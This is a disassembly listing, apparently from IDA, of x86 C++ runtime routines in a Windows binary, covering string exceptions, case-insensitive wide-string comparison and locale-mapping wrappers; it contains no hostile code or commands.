sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A40	proc near
		jmp	near ptr 71B2ACCBh
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		nop
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 27D0000h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h


loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h


loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------


loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2


loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi


loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------


loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2840000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_48A0A8, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_48A0A8
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_48A304, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_48A304, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------


loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43C824
		push	edi
		push	esi
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_48A304, 2


loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_48A304
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2860000h
		nop
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2790000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2850000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi


loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------


loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------


loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2610000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D


loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------


loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax


loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0


loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91


loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_4395A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5


loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]


loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A308
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------


loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	edi
		call	near ptr 25C0792h
		nop
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax


loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_48A308, eax


loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C0000h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------


loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax


loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2790000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_48A0A8


loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25C0792h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax


loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------


loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h


loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
